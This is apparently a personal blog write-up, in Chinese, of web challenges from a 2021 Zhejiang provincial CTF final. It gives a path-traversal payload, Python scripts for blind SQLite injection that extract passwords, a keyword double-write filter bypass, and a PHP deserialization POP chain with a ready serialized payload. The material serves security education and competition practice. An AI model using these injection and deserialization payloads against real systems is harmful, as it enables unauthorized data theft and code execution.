赛题笔记:2021浙江省决赛


前言

拿了省一,好耶。在此得感谢师傅们与好基友@独奏的耐心教导。

Web

第一次webak,好耶!

远古特性

第二波放的签到题

<?php
$file=$_GET['file'];
if (!preg_match('/^hint\/hint.txt$/m',$file)){
	echo file_get_contents($file);
}

一开始还以为是过滤hint和hint.txt,仔细一看才发现hint是文件夹。

?cmd=hint/hint.txt%0a../../../../../../../../../flag

justlogin_web

sqlite3注入

以为这才是签到题,sql注入登录进去后,啥都没有。

后来又在images()看了半天。

最后才反应过来这里可以盲注来着。

部分有过滤,双写绕过下:

最后半小时着实有点慌张,写脚本的时候不是忘记加循环就是逻辑有问题,最后慌慌张张脚本能跑,发现username能跑但password是空的,整麻了。


2021年11月6日10:11:41更新

复现了一下,password应该不是空的,只不过过滤了asor,双写成paassswoorrd再跑就好。


还好硬着头皮重新弄下跑sqlite_master的脚本。一开始尝试用hex()减少字符量还不行,不知道哪里出错了,最后还是老老实实的逐个字符逐个字符跑。

import requests

url = "http://8fd95e2e-9d91-45b1-8ba9-d41be0125b3f.zj-ctf.dasctf.com:80/login"
flag = ''
data = {"username": "123' oorr 1=1 -- ", "password": "1"}
res = requests.post(url, data=data)
for i in range(1, 500):
    low = 1
    high = 128
    mid = (low + high) // 2
    while low < high:
        #data['username'] = "1' oorr substr((sselectelect grgroupoup_coonncat(sql) frfromom sqlite_maasster),{},1)>'{}' -- ".format(i, chr(mid))
        data['username'] = "1' oorr substr((sselectelect grogroupup_coonncat(flaggg) frfromom flaggghere),{},1)>'{}' -- ".format(i, chr(mid))
        res = requests.post(url, data=data)
        if 'Failed' in res.text:
            high = mid
        else:
            low = mid + 1
        mid = (low + high) // 2
    flag = flag + chr(mid)
    print(flag)

print('\n' + bytes.fromhex(flag).decode())

还好最后赶上了。


2021年11月6日10:42:37更新

重新写了下脚本,转换成hex+二分法,跑的超快!

import requests
import time

result = ""
last = "tmp"  # 用于判断可不可以终止
url = "http://10.163.45.213:8000/login"
data = {"username": "1' oorr 1=1 -- ", "password": "1"}
i = 0
char = '0123456789ABCDEF'
while result != last:
    time.sleep(0.1)
    i = i + 1
    head = 0
    tail = 15
    while head < tail:
        mid = (head + tail) >> 1
        # %23注意转义
        data[
            'username'] = "1' oorr substr((sselectelect hex(grogroupup_coonncat(paassswoorrd)) frfromom users),{},1)>'{}' -- ".format(
            i, char[mid])
        r = requests.post(url, data=data)
        # 用二分法加快判断
        if b'Failed!' in r.content:
            tail = mid  # 下标前移,要求payload判断为假,结果为假,且为大于号
        else:
            head = mid + 1  # 下标后移,要求payload判断为真,结果为真,且为大于号
    last = result  # 无新增字符,说明结束了。
    result += char[head]
    print(result)
    if result.endswith('00'):
        break
print(result[:-2])

又写了个双写检测绕过,省的手动替换了。

import re


def fix(s):
    width = int(len(s) / 2)
    return s[:width] + s + s[width:]


blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH",
             "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN",
             "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME",
             "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH",
             "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS",
             "EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB",
             "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER",
             "INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT",
             "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET",
             "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY",
             "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE",
             "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP",
             "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE",
             "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]

sql = "1' or substr((select hex(group_concat(password)) from users),{},1)>'{}' -- "
sql_mod = sql
for i in blacklist:
    p = re.findall(i, sql, re.I)
    if len(p) != 0:
        print(p)
        sql_mod = sql_mod.replace(p[0], fix(p[0]))
print(sql_mod)

safepop

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);

class Fun
{
    private $func = 'call_user_func_array';

    public function __call($f, $p)
    {
        call_user_func($this->func, $f, $p);
    }

    public function __wakeup()
    {
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test
{
    public function getFlag()
    {
        system("cat /flag?");
    }

    public function __call($f, $p)
    {
        phpinfo();
    }

    public function __wakeup()
    {
        echo "serialize me?";
    }
}

class A
{
    public $a;

    public function __get($p)
    {
        if (preg_match("/Test/", get_class($this->a))) {
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B
{
    public $p;

    public function __destruct()
    {
        $p = $this->p;
        echo $this->a->$p;
    }
}

if (isset($_GET['pop'])) {
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

看到困难,总感觉这题很难。没想到其实挺简单的

pop链是

Test::getFlag()<- Fun:__call() <- A:__get() <- B:__destruct()

一查php版本,7.4>7.0.10,真苦恼啊,以为PHP Bug 72663的那个__wakeup()绕过不能用。

后来试了试,没想到可以。

call_user_func利用之前也做到几题,具体见刷题笔记:bestphp’s revenge

<?php

class Fun
{
    public $func;

    public function __construct()
    {
        $this->func = array("Test", "getFlag");
    }
}


class A
{
    public $a;

    public function __construct()
    {
        $this->a = new Fun();
    }
}

class B
{
    public $p;
    public $a;

    public function __construct()
    {
        $this->a = new A();
        $this->p = 'aaa';//传给__get的参数
    }

}

/*
 *  Test::getFlag()<- Fun:__call() <- A:__get() <- B:__destruct()
 */
$b = new B();
echo serialize($b);

然后无脑改一下对象数,按理来说改Fun的应该就行了,当时也没想太多直接无脑全改了完事。

O:1:"B":3:{s:1:"p";s:3:"aaa";s:1:"a";O:1:"A":2:{s:1:"a";O:3:"Fun":2:{s:4:"func";a:2:{i:0;s:4:"Test";i:1;s:7:"getFlag";}}}}

打入的时候心里还想着还得调试几次,没想到一次过。舒服。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录